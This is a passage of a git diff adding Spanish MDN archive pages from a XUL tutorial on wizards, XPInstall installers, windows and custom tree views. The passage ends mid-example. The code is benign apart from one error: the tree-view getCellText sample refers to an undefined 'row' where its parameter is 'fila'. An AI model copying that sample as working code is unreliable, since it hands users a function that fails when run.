diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/creando_un_asistente/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/creando_un_asistente/index.html
new file mode 100644
index 0000000000..e448d38424
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/creando_un_asistente/index.html
@@ -0,0 +1,138 @@
+---
+title: Crear un asistente
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Creando_un_asistente
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+  - para_revisar
+translation_of: Archive/Mozilla/XUL/Tutorial/Creating_a_Wizard
+---
+<p>Muchas aplicaciones usan un asistente para ayudar al usuario a realizar tareas complicadas. XUL proporciona una forma de crear fácilmente un asistente.</p>
+
+<h3 id="El_asistente" name="El_asistente">El asistente</h3>
+
+<p>Un asistente es un tipo especial de diálogo que contiene una serie de páginas. Los botones de navegación entre páginas aparecen en la parte inferior del diálogo. Los asistentes se utilizan habitualmente para ayudar al usuario en la realización de tareas complejas. Cada página contiene una única cuestión o varias preguntas relacionadas. Después de la última página, se lleva a cabo la operación.</p>
+
+<p>XUL proporciona un elemento <code><a href="/es/XUL/Elementos/wizard" title="es/XUL/Elementos/wizard">wizard</a></code> que permite crear asistentes. Los atributos colocados en el asistente se usan para controlar la navegación de éste. Al crear un asistente se usa la etiqueta <code><a href="/es/XUL/Elementos/wizard" title="es/XUL/Elementos/wizard">wizard</a></code> en lugar de la etiqueta <code><a href="/es/XUL/Elementos/window" title="es/XUL/Elementos/window">window</a></code>.</p>
+
+<p>El contenido del elemento <code><a href="/es/XUL/Elementos/wizard" title="es/XUL/Elementos/wizard">wizard</a></code> incluye el contenido de cada página del asistente. Las páginas del asistente se crean mediante el elemento <code> </code><code><a href="/es/XUL/Elementos/wizardpage" title="es/XUL/Elementos/wizardpage">wizardpage</a></code>. Puedes colocar cualquier contenido que desees dentro de cada <code><a href="/es/XUL/Elementos/wizardpage" title="es/XUL/Elementos/wizardpage">wizardpage</a></code>.</p>
+
+<div class="note">Ten en cuenta que actualmente los asistentes solo funcionan adecuadamente desde URLs chrome.</div>
+
+<p>El asistente consta de varias secciones y, por supuesto, el diseño  del asistente puede variar según el sistema operativo de cada plataforma. El asistente se mostrará generalmente con el aspecto de la plataforma del usuario. El aspecto típico incluirá un título en la parte superior, un grupo de botones de navegación en la parte inferior y el contenido de la página en medio de ambos.</p>
+
+<p>El título a lo largo de la parte superior se crea usando el atributo <code><a href="/es/XUL/Atributos/title" title="es/XUL/Atributos/title">title</a></code>, muy parecido al que podría usarse para una ventana normal. Los botones de navegación son creados automáticamente. </p>
+
+<h4 id="Un_ejemplo_de_asistente" name="Un_ejemplo_de_asistente">Un ejemplo de asistente</h4>
+
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_wizard_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_wizard_1.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;?xml version="1.0"?&gt;
+
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+
+&lt;wizard id="example-window" title="Select a Dog Wizard"
+  xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+  &lt;wizardpage&gt;
+    &lt;description&gt;
+      Esta asistente le ayudará a seleccionar el tipo de perro que más le conviene."
+    &lt;/description&gt;
+    &lt;label value="¿Por qué quiere un perro?"/&gt;
+    &lt;menulist&gt;
+      &lt;menupopup&gt;
+        &lt;menuitem label="Para que la gente se vaya"/&gt;
+        &lt;menuitem label="Para que asuste a un gato"/&gt;
+        &lt;menuitem label="Necesito un buen amigo"/&gt;
+      &lt;/menupopup&gt;
+    &lt;/menulist&gt;
+  &lt;/wizardpage&gt;
+
+  &lt;wizardpage description="Detalles del perro"&gt;
+    &lt;label value="Proporcione detalles adicionales sobre el perro que le gustaría:"/&gt;
+    &lt;radiogroup&gt;
+      &lt;caption label="Tamaño"/&gt;
+      &lt;radio value="small" label="Pequeño"/&gt;
+      &lt;radio value="large" label="Grande"/&gt;
+    &lt;/radiogroup&gt;
+    &lt;radiogroup&gt;
+      &lt;caption label="Género"/&gt;
+      &lt;radio value="male" label="Macho"/&gt;
+      &lt;radio value="female" label="Hembra"/&gt;
+    &lt;/radiogroup&gt;
+  &lt;/wizardpage&gt;
+
+&lt;/wizard&gt;
+</pre>
+
+<div class="float-right">
+<div class="float-right"><img alt="Image:wizard1.jpg" class="internal" src="/@api/deki/files/970/=Wizard1.jpg"></div>
+</div>
+
+<p>El asistente tiene dos páginas, una que tiene un menú desplegable y la otra botones redondos. El asistente será formateado automáticamente, con un título en la parte de arriba y botones en la parte de abajo. El usuario puede navegar entre las páginas con los botones de 'Anterior' (<em>Back</em>) y 'Posterior' (<em>Next</em>). Estos botones se activan y desactivan ellos mismos cuando es necesario. En la última página, además de estos anteriores, aparecerá el botón de Terminar/Finalizar. Todo esto es automático, no hay que hacer nada para manipular las páginas.</p>
+
+<p>El atributo <code><a href="/es/XUL/Atributos/description" title="es/XUL/Atributos/description">description</a></code> puede ser opcionalmente colocado en un elemento <code><a href="/es/XUL/Elementos/wizardpage" title="es/XUL/Elementos/wizardpage">wizardpage</a></code> a fin de proporcionar un subtítulo para esa página. En el ejemplo anterior, está puesto en la segunda página, pero no en la primera.</p>
+
+<h3 id="Gesti.C3.B3n_de_los_cambios" name="Gesti.C3.B3n_de_los_cambios">Gestión de los cambios en las página</h3>
+
+<p>Generalmente, desearás que se haga algo una vez se presione el botón Finalizar. Se puede definir un atributo <code>onwizardfinish</code>, dentro del elemento <code><a href="/es/XUL/Elementos/wizard" title="es/XUL/Elementos/wizard">wizard</a></code> para que sea así. Colócalo en un script que realice cualquier tarea que desees y que después devuelva 'true'. Este script se puede usar para guardar la información que incluye el usuario durante el asistente. Por ejemplo:</p>
+
+<pre>&lt;wizard id="example-window" title="Select a Dog Wizard"
+  onwizardfinish="return saveDogInfo();"
+  xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+</pre>
+
+<p>Cuando el usuario haga clic sobre el botón Finalizar, es llamada la función <code>saveDogInfo()</code>, la cual se definirá en un archivo de script para guardar la información que se ha incluido. Si la función devuelve 'true', el asistente se cierra. Si devuelve 'false', entonces el asistente no se cerrará, lo que suele ocurrir, por ejemplo, si la función <code>saveDogInfo()</code> encuentra una entrada que no es válida.</p>
+
+<p>Existen otros atributos relacionados <code><a href="/es/XUL/Atributos/onwizardback" title="es/XUL/Atributos/onwizardback">onwizardback</a></code>, <code><a href="/es/XUL/Atributos/onwizardnext" title="es/XUL/Atributos/onwizardnext">onwizardnext</a></code> y <code><a href="/es/XUL/Atributos/onwizardcancel" title="es/XUL/Atributos/onwizardcancel">onwizardcancel</a></code>, que son llamados cuando los botones Volver, Siguiente y Cancelar son presionados respectivamente. Estas funciones son llamadas sin considerar qué página se está mostrando actualmente.</p>
+
+<p>Para llamar un código diferente dependiendo de qué página se encuentra el usuario, se utilizan los atributos <code><a href="/es/XUL/Atributos/onpagerewound" title="es/XUL/Atributos/onpagerewound">onpagerewound</a></code> o <code><a href="/es/XUL/Atributos/onpageadvanced" title="es/XUL/Atributos/onpageadvanced">onpageadvanced</a></code> en un elemento <code><a href="/es/XUL/Elementos/wizardpage" title="es/XUL/Elementos/wizardpage">wizardpage</a></code>. Funcionan de manera parecida a las otras funciones con la excepción que se puede usar código diferente en cada página. Esto te permite validar la información incluida en cada página antes de que continúe el usuario.</p>
+
+<p>Un tercer método consiste en usar los atributos <code><a href="/es/XUL/Atributos/onpagehide" title="es/XUL/Atributos/onpagehide">onpagehide</a></code> y <code><a href="/es/XUL/Atributos/onpageshow" title="es/XUL/Atributos/onpageshow">onpageshow</a></code> en el elemento <code><a href="/es/XUL/Elementos/wizardpage" title="es/XUL/Elementos/wizardpage">wizardpage</a></code>. Estos se llamarán cuando la página se oculte o se muestre, independientemente de qué botón se pulse (excepto cuando se presiona Cancel: tienes que usar <code><a href="/es/XUL/Atributos/onwizardcancel" title="es/XUL/Atributos/onwizardcancel">onwizardcancel</a></code> para comprobarlo).</p>
+
+<p>Estos tres métodos deberían proporcionar suficiente flexibilidad para gestionar la navegación tanto como necesites. La siguiente tabla es un resumen  de las funciones de los atributos que se llaman cuando el usuario pulsa Siguiente ('Next'), en el orden en que son comprobados. En el momento en que uno devuelva false, se cancelará la navegación.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Atributo</th>
+   <th>Etiqueta</th>
+   <th>Llamada</th>
+  </tr>
+  <tr>
+   <td>pagehide</td>
+   <td>wizardpage</td>
+   <td>Llamada a la página que el usuario esta dejando.</td>
+  </tr>
+  <tr>
+   <td>pageadvanced</td>
+   <td>wizardpage</td>
+   <td>Llamada a la página que el usuario esta dejando.</td>
+  </tr>
+  <tr>
+   <td>wizardnext</td>
+   <td>wizard</td>
+   <td>Llamado en el asitente.</td>
+  </tr>
+  <tr>
+   <td>pageshow</td>
+   <td>wizardpage</td>
+   <td>Llamada a la página que el usuario esta entrando.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Un proceso similar ocurre para el botón Volver.</p>
+
+<div class="note">Siempre que trates de usar una función en el evento anterior, como con pageadvanced, deberías usar
+<p><code>return funcName()</code> en lugar de solo la llamada <code>funcName()</code>o no funcionará como se espera, por ejemplo</p>
+
+<pre class="eval"> &lt;wizardpage pageadvanced='return funcName()'&gt;&lt;/wizardpage&gt;&lt;/code&gt;
+</pre>
+</div>
+
+<p><br>
+ </p><div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Diálogos_Abrir_y_Guardar" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Más_asistentes">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/creando_un_instalador/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/creando_un_instalador/index.html
new file mode 100644
index 0000000000..031f186435
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/creando_un_instalador/index.html
@@ -0,0 +1,95 @@
+---
+title: Creando un instalador
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Creando_un_instalador
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Creating_an_Installer
+---
+<p> </p>
+
+<p>Esta sección describe como empaquetar una aplicación de XUL en un instalador.</p>
+
+<h3 id="Paquetes_de_XPInstall" name="Paquetes_de_XPInstall">Paquetes de XPInstall</h3>
+
+<p>Mozilla proporciona un mecanismo que se puede utilizar para empaquetar ventanas de XUL, scripts, skins y otros archivos en un solo instalador. Usted puede colocar este instalador en alguna parte para que los usuarios la puedan descargar. Un script simple puede ser usado para tener descargado el paquete e instalarlo. Este mecanismo se llama <a href="es/XPInstall">XPInstall</a> (plataforma cruzada de instalación).</p>
+
+<p>Los instaladores de XPInstall se empaquetan en archivos JAR. Dentro del archivo JAR, usted puede agregar todos los archivos que usted desea haber instalado. Además, los instaladores deben contener un script de instalación (un archivo llamado install.js) que se pueda utilizar para escribir el proceso de la instalación. Este script tiene acceso a varias funciones de instalación que se pueden utilizar para instalar archivos y componentes.</p>
+
+<p>Los instaladores del archivo JAR tienen típicamente la extensión .xpi (se pronuncia zippy) para distinguirlos de otros archivos. Los instaladores serán utilizados generalmente para instalar los componentes de Mozilla tales como skins nuevos, plugins y nuevos paquetes.Texto de Código</p>
+
+<p>Hay varios pasos implicados en abrir un instalador e instalar los componentes. Éstos se describen gradualmente abajo.</p>
+
+<ol>
+ <li>Crea una pagina web desde la cual el usuario pueda descargar el software que se instalará. Esta página contendrá un ‘disparador de la instalación’ que es una pequeña parte del script que abre la instalación.</li>
+ <li>Se le presenta al usuario un diálogo indicando que el paquete está siendo instalado. Es posible que el ‘disparador de la instalación’ abra múltiples instaladores. En este caso, serán presentados en una lista. El usuario puede elegir continuar o cancelar.</li>
+ <li>Si el usuario elige continuar, se descargará el instalador del archivo XPI. Una barra de progreso se exhibe al usuario durante este proceso.</li>
+ <li>El archivo install.js es extraído del archivo de la instalación y se ejecutara. Este script abrirá las funciones del instalador que indicarán qué partes del archivo deben ser instalados.</li>
+ <li>Una vez que el script esté completo, el nuevo paquete ya habrá sido instalado. Si los paquetes múltiples están siendo instalados, sus scripts funcionarán en secuencia.</li>
+</ol>
+
+<h3 id="Disparadores_.28triggers.29_de_instalaci.C3.B3n" name="Disparadores_.28triggers.29_de_instalaci.C3.B3n">Disparadores (triggers) de instalación</h3>
+
+<p>Según lo indicado arriba, el proceso de la instalación es empezado por un ‘disparador de instalación’. Esto implica el uso del objeto global especial InstallTrigger. Este contiene varios métodos que se pueden utilizar para comenzar una instalación. Usted puede utilizar este objeto en el contenido local o remoto, significando que es conveniente para una descarga directa del sitio web.</p>
+
+<p>Vamos a crear un ejemplo de un disparador de instalación. Esto involucra el uso de la función InstallTrigger.install. Esta función tiene dos parámetros, el primero es una lista de los paquetes a instalar, y el segundo es una función de rellamada que será usada cuando la instalación se complete. Aquí está un ejemplo:</p>
+
+<pre>function doneFn ( name , result ){
+  alert("The package " + name + " was installed with a result of " + result);}
+
+var xpi = new Object();
+xpi["Calendar"] = "calendar.xpi";
+InstallTrigger.install(xpi,doneFn);
+</pre>
+
+<p>Primero, definimos una función de rellamada doneFn que será ejecutada cuando la instalación se complete. Usted puede nombrar la función como prefiera. Esta función tiene dos parámetros. El primero es el nombre del paquete que acaba de ser instalado. Esto es importante si usted está instalando múltiples componentes. El segundo es un código de resultado. Si el resultado es 0, la instalación terminó con éxito. Si el resultado no es cero, quiere decir que hubo un error y el valor es el código del error. La función doneFn solo mostrará un mensaje de alerta al usuario.</p>
+
+<p>Después, creamos un vector xpi que contendrá el nombre (calendario) y URL (calendar.xpi) del instalador. Usted puede agregar una línea similar para cada paquete que desee instalar. Finalmente, ejecutamos la función de instalación.</p>
+
+<p>Cuando esta sección del script se ejecute, el archivo calendar.xpi será instalado.</p>
+
+<div class="highlight">
+<p>Vamos intentar esto con el diálogo de búsqueda de archivos.</p>
+
+<pre>function doneFn ( name , result ){
+  if (result) alert("An error occured: " + result);
+}
+
+var xpi = new Object();
+xpi["Find Files"] = "findfile.xpi";
+InstallTrigger.install(xpi,doneFn);
+</pre>
+</div>
+
+<h3 id="El_archivo_de_XPI" name="El_archivo_de_XPI">El archivo de XPI</h3>
+
+<p>Se requiere que el archivo XPI contenga un archivo llamado install.js que es un archivo <a href="es/JavaScript">JavaScript</a> que se ejecuta durante la instalación. Los archivos restantes son los archivos que se instalarán. Estos archivos típicamente están colocados dentro de un directorio dentro del archivo pero no es obligatorio. Los archivos cromo (chrome), deben estar estructurados como el directorio chrome.</p>
+
+<p>A menudo, los únicos archivos colocados en un archivo XPI serán el script de instalación (install.js) y un archivo JAR. Este archivo JAR contiene todos los archivos usados por la aplicación. Los componentes proporcionados con Mozilla se almacenan de esta manera.</p>
+
+<p>Debido a que el archivo XPI es un archivo tipo ZIP, usted puede crear y agregar archivos usando una aplicación que manipule estos archivos.</p>
+
+<p>Para el diálogo de búsqueda de archivos, crearemos una estructura en el archivo como el siguiente:</p>
+
+<div class="highlight">
+<pre>install.js
+findfile
+  content
+    contents.rdf
+    findfile.xul
+    findfile.js
+  skin
+    contents.rdf
+    findfile.css
+  locale
+    contents.rdf
+    findfile.dtd
+</pre>
+</div>
+
+<p>Se ha agregado un directorio para cada parte del paquete, del contenido, del skin y del ‘locale’. Los archivos contents.rdf también se han agregado porque serán necesarios para registrar los archivos 'chrome'.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Presentación_dinámica" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Instalando_Scripts">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/creando_una_ventana/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/creando_una_ventana/index.html
new file mode 100644
index 0000000000..d751c77611
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/creando_una_ventana/index.html
@@ -0,0 +1,105 @@
+---
+title: Creando una ventana
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Creando_una_ventana
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Creating_a_Window
+---
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Archivos_Manifest" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Añadiendo_botones">Siguiente  »</a></p>
+</div>
+
+<h3 id="Creando_un_archivo_XUL" name="Creando_un_archivo_XUL">Creando un archivo XUL</h3>
+
+<p>Un archivo XUL puede tener cualquier nombre, pero debería tener una extensión .xul. El archivo XUL más simple tiene la siguiente estructura:</p>
+
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+
+&lt;window
+    id="findfile-window"
+    title="Find Files"
+    orient="horizontal"
+    xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+&lt;!-- Otros elementos irán aquí --&gt;
+&lt;/window&gt;
+</pre>
+
+<p>Esta ventana no hará nada, ya que no contiene ningún elemento UI (Interfaz de Usuario), éstos serán añadidos en la siguiente sección. A continuación veremos línea por línea el código de arriba:</p>
+
+<ol>
+ <li><strong>&lt;?xml version="1.0"?&gt;</strong><br>
+  Esta línea simplemente define que éste es un archivo XML, normalmente deberíamos añadir esta línea al inicio de cada fichero xul, al igual que pondríamos la etiqueta HTML al principio de un archivo HTML.</li>
+ <li><strong>&lt;?xml-stylesheet href="<a class="external" rel="freelink">chrome://global/skin/</a>" type="text/css"?&gt;</strong><br>
+  Esta línea se usa para especificar la hoja de estilos a utilizar por el archivo, y es la sintaxis que los ficheros XML utilizan para importar hojas de estilo. En este caso, nosotros importaremos los estilos ubicados en el apartado global de un paquete de temas. No especificaremos ningún fichero así Mozilla determinará que ficheros del directorio utilizar. En este caso, el todo-importante fichero global.css es seleccionado. Este fichero contiene todas las declaraciones por defecto para todos los elementos XUL. Como XML no sabe cuantos elementos debe visualizar, el fichero lo indica. Generalmente, deberemos poner esta línea en la parte superior de cada archivo XUL. También podemos importar otra hoja de estilos utilizando una sintaxis parecida. Normalmente importamos la hoja de estilo global desde dentro de nuestro archivo de estilos.</li>
+ <li><strong>&lt;window</strong><br>
+  Esta línea declara que estamos describiendo una <a href="es/XUL/Elementos">window</a>. Cada ventana de la interfaz de usuario es descrita en un fichero por separado. Esta etiqueta es parecida a la etiqueta BODY en HTML que engloba todo el contenido. Los atributos de la ventana serán colocados aquí, en este caso hay cuatro. En el ejemplo cada atributo es colocado en una línea distinta pero esto no debe ser hacer necesariamente.</li>
+ <li><strong>id="findfile-window"</strong><br>
+  El atributo <code><a href="es/XUL/Atributos">id</a></code> es usado como un identificador, de esta manera la ventana puede ser llamada desde scripts. Usualmente colocarás el atributo <code>id</code> a todos los elementos. El nombre lo eliges tú.</li>
+ <li><strong>title="Find Files"</strong><br>
+  Este atributo muestra el texto que aparecerá en la barra de títulos cuando se muestre la ventana. En el ejemplo aparecerá "Find Files".</li>
+ <li><strong>orient="horizontal"</strong><br>
+  Este atributo indica el orden de los ítems dentro de la ventana. El valor <code>horizontal</code> indica que los ítems serán colocados a través de la ventana. También puedes usar el valor <code> vertical</code> que ordenará los ítems en una columna. Este es el valor por defecto, asi que tal vez desees no utilizar este atributo si deseas mostrar los datos en columnas.</li>
+ <li><strong>xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;</strong><br>
+  Esta línea declara el nombre para XUL, que deberías colocar dentro de la etiqueta window para indicar que todo eso es XUL. Esta dirección no será descargada, Mozilla la reconocerá internamente.</li>
+ <li><strong><span class="nowiki">&lt;!-- Otros elementos van aquí --&gt;</span></strong><br>
+  Escribe en este bloque otros elementos (botones, menúes, y otros componentes de interfaz) que aparecen en la ventana. Pondremos algo de eso en el siguiente tomo de la sección..</li>
+ <li><strong>&lt;/window&gt;</strong><br>
+  Finalmente, debemos cerrar la etiqueta al final del fichero.</li>
+</ol>
+
+<h3 id="Abriendo_una_ventana" name="Abriendo_una_ventana">Abriendo una ventana</h3>
+
+<p>Al fin de abrir una ventana XUL, varios métodos son aplicables. Si se está solo en el estado del desarrollo, se puede escribir la URL (empezando con chrome:, file: o cualquier otro tipo de URL) en la barra de dirección de Mozilla. También se puede hacer doble clic sobre el archivo en la pantalla 'Abrir archivo', suponiendo que los archivos XUL están asociados a Mozilla. La ventana XUL aparecerá en la ventana del navegador en lugar de en una nueva ventana, pero suele ser suficiente durante los principios del desarrollo.</p>
+
+<p>El camino correcto, naturalmente, es de abrir la ventana utilizando a JavaScript. No es necesaria una sintaxis nueva se puede usar la función <a href="es/DOM/window.open">window.open()</a> igual que para los documentos <a href="es/HTML">HTML</a>. Aún así, una opción adicional, llamada 'chrome' es necesaria para indicar al navegador que el documento a abrir es <a href="es/DOM/window.open">chrome</a>. Ésta se abrirá sin barra de herramientas, ni menúes o cualquier otra cosa de las que suele tener de normal un navegador. La sintaxis se describe a continuación:</p>
+
+<pre>window.open(url,windowname,flags);
+
+donde el argumento 'flags' contiene "chrome" como en este ejemplo:
+
+window.open("chrome://navigator/content/navigator.xul", "bmarks", "chrome,width=600,height=300");
+</pre>
+
+<div class="highlight">
+<h5 id="Nuestro_ejemplo_de_b.C3.BAsqueda" name="Nuestro_ejemplo_de_b.C3.BAsqueda">Nuestro ejemplo de búsqueda</h5>
+
+<p>Empezaremos por crear el archivo básico para el dialogo de búsqueda. Lo llamaremos 'findfile.xul' y lo pondremos en el directorio especificado en el archivo 'findfile.manifest' (el cual hemos creado en la sección anterior). Ponerle la plantilla mostrada arriba de esta página y guardarlo.</p>
+</div>
+
+<p>Podemos usar el parámetro en línea de comando '-chrome' para especificar que archivo XUL tendrá que abrir Mozilla al empezar. Si no se ha especificado, la ventana por defecto será abierta (habitualmente la ventana del navegador). Por ejemplo, podríamos abrir el dialogo de búsqueda con una de las siguientes órdenes:</p>
+
+<pre>mozilla -chrome chrome://findfile/content/findfile.xul
+
+mozilla -chrome resource:/chrome/findfile/content/findfile.xul
+</pre>
+
+<p>Si utilizamos esta orden en línea (suponiendo que se pueda hacer en nuestra plataforma), el dialogo de búsqueda de archivo será abierto por defecto en lugar de la ventana de Mozilla. Pero como no hemos puesto ningún elemento gráfico, no la veremos. Colocaremos algunos elementos en la sección siguiente.</p>
+
+<p>Para ver aún así el efecto, lo siguiente abrirá la ventana de marcadores:</p>
+
+<pre class="eval"><span class="highlightred">Para Mozilla</span>
+mozilla -chrome <a class="external" rel="freelink">chrome://communicator/content/bookma...rksManager.xul</a>
+
+<span class="highlightred">Para Firefox</span>
+firefox -chrome <a class="external" rel="freelink">chrome://browser/content/bookmarks/b...rksManager.xul</a>
+</pre>
+
+<p>El argumento '-chrome' no da al archivo ningún privilegio adicional. En su lugar, causa que el archivo especificado se abra como una ventana en el nivel superior sin ningun atributo del browser chrome, como el campo de direcciones o menus. Solo las URLs chrome tienen privilegios adicionales.</p>
+
+<div class="note">Para escribir y ver inmediatamente los resultados en Mozilla, puede probar con <a class="external" href="http://ted.mielczarek.org/code/mozilla/extensiondev/">este editor XUL</a>.</div>
+
+<h3 id="Problemas" name="Problemas">Problemas</h3>
+
+<ul>
+ <li>Si la ventana XUL no se muestra en el escritorio pero tiene un icono en la barra de tareas, revisaremos la declaración 'xml-stylesheet'. Nos aseguraremos de haber incluido correctamente la hoja de estilo:</li>
+</ul>
+
+<pre class="eval"> &lt;?xml-stylesheet href="<a class="external" rel="freelink">chrome://global/skin/</a>" type="text/css"?&gt;
+</pre>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Archivos_Manifest" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Añadiendo_botones">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/detalles_de_vistas_de_un_árbol/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/detalles_de_vistas_de_un_árbol/index.html
new file mode 100644
index 0000000000..060dd9e5f9
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/detalles_de_vistas_de_un_árbol/index.html
@@ -0,0 +1,108 @@
+---
+title: Detalles de Vistas de un árbol
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Detalles_de_Vistas_de_un_árbol
+tags:
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Tree_View_Details
+---
+<p> </p>
+<p>Además del contenido estático y RDF, los árboles pueden obtener su contenido de una vista personalizada.</p>
+<h3 id="Creando_una_vista_detallada_o_personalizada" name="Creando_una_vista_detallada_o_personalizada">Creando una vista detallada o personalizada</h3>
+<p>Hasta ahora hemos visto dos formas de definir el contenido de un árbol. Podemos poner filas y celdas estáticas dentro de un árbol o usar una fuente de datos RDF. El primer método funciona bíen siempre y cuando solo se traten de unos pocos datos. Usar una fuente de datos es adecuado cuando hay una disponible, ya sea una proporcionada con Mozilla o una creada por nosotros mismos. En algunos casos, podemos querer guardar datos en algún otro formato o realizar operaciones en ellos. XUL provee un tercer método, el cual requiere la creación de una vista personalizada con un guión.</p>
+<p>Este método puede ser usado para contener datos para cientos o miles de filas, que el árbol puede mostrar instantaneamente. Para ello implementamos un árbol como hasta ahora pero dejamos el elemento treechildren vacio. El siguiente ejemplo muestra como hacerlo:</p>
+<pre>&lt;tree id="miArbol" flex="1"&gt;
+  &lt;treecols&gt;
+    &lt;treecol id="colNombre" label="Nombre" flex="1"/&gt;
+    &lt;treecol id="colFecha" label="Fecha" flex="1"/&gt;
+  &lt;/treecols&gt;
+  &lt;treechildren/&gt;
+&lt;/tree&gt;
+</pre>
+<p>Para asignar datos y que sean mostrados en el árbol, debemos crear un objecto guión que será usado para indicar que valor toma cada celda, el número total de filas y alguna otra información adicional. El objeto de guión estará asignado al árbol. El árbol llamará a los métodos del objeto para obtener la información que necesita mostrar.</p>
+<p>El objeto guión, llamado vista de árbol, soporta más o menos treinta métodos que puedes implementar para suministrar información acerca de los contenidos del árbol y su apariencia, pero solo tendremos que implementar una pequeña parte de ellos. Algunos métodos que deberemos implementar son:</p>
+<pre class="eval">   * rowCount
+</pre>
+<p>Esta propiedad deberá contener el número de líneas que queremos mostrar en el árbol.</p>
+<pre class="eval">   * getCellText( fila, columna )
+</pre>
+<p>Este método devuelve el contenido de una celda, especificada mediante los paramentros ‘fila’ y ‘columna’. Será llamada para mostrar los datos de cada celda. Las filas pasadas como paramentro es un número contando desde 0. Las columnas en cambio son los valores del atributo id definido en las columnas del árbol.</p>
+<pre class="eval">   * setTree( arbol )
+</pre>
+<p>Este método es llamado una sola vez para vincular el elemento árbol con la vista. Esto nos permite utilizar la misma vista con distintos árboles.</p>
+<p>Aquí mostramos un ejemplo de como definir el objeto, el cual puede tener el nombre que deseemos.</p>
+<pre>var vistaArbol = {
+    rowCount : 10000,
+    getCellText : function(fila, columna) {
+      if (columna=="colNombre") return "Fila "+row;
+      else return "18 de Febrero";
+    },
+    setTree: function(arbol){ this.treebox=arbol; },
+    isContainer: function(fila){ return false; },
+    isSeparator: function(fila){ return false; },
+    isSorted: function(fila){ return false; },
+    getLevel: function(fila){ return 0; },
+    getImageSrc: function(fila,columna){ return null; },
+    getRowProperties: function(fila,props){},
+    getCellProperties: function(fila,columna,props){},
+    getColumnProperties: function(idColumna,columna,props){}
+};
+</pre>
+<p>Las funciones de este ejemplo que no han sido descritas anteriormente, no necesitan realizar ninguna acción, pero si deben estar declaradas, ya que el árbol las llamará para intentar conseguir información adicional.</p>
+<p>Este ejemplo puede usarse para mostrar un arbol con 10.000 filas. El contenido de las celdas en la primera columna contendrán el texto ‘Fila X’, donde X es el número de fila. En la segunda columna todas las celdas contendrán el texto con la fecha ‘18 de Febrero’. La condición if de la función getCellText() compara el parametro columna con el texto ‘colNombre’. Este texto corresponde al id de la primera columna en la definición del árbol del ejemplo anterior. Por supuesto que este ejemplo es muy simple, en realidad deberíamos tener datos mucho más complejos en cada celda.</p>
+<p>El último paso es asociar el objeto vista con el árbol. El árbol tiene una propiedad llamada view, la cual puede ser asignada al objeto vista declarado anteriormente. Podremos asignarle un valor a esta propiedad en cualquier momento para poner o cambiar una vista.</p>
+<pre>function ponerVista() {
+    document.getElementById('miArbol').view = vistaArbol;
+}
+</pre>
+<p>A continuación se incluye el ejemplo completo. Un guión incrustado ha sido usado aquí para simplificar el ejemplo. No obstante, normalmente pondremos los guiones en ficheros separados.</p>
+<p>Ejemplo 7.6.1</p>
+<pre>&lt;?xml version="1.0"?&gt;
+
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+
+&lt;window title="Ejemplo de árbol" id="ventana-arbol"
+   xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+   onload="ponerVista();"&gt;
+
+&lt;script&gt;
+var vistaArbol = {
+    rowCount : 10000,
+    getCellText : function(fila, columna) {
+      if (columna=="colNombre") return "Fila "+row;
+      else return "18 de Febrero";
+    },
+    setTree: function(arbol){ this.treebox=arbol; },
+    isContainer: function(fila){ return false; },
+    isSeparator: function(fila){ return false; },
+    isSorted: function(fila){ return false; },
+    getLevel: function(fila){ return 0; },
+    getImageSrc: function(fila,columna){ return null; },
+    getRowProperties: function(fila,props){},
+    getCellProperties: function(fila,columna,props){},
+    getColumnProperties: function(idColumna,columna,props){}
+};
+
+function ponerVista() {
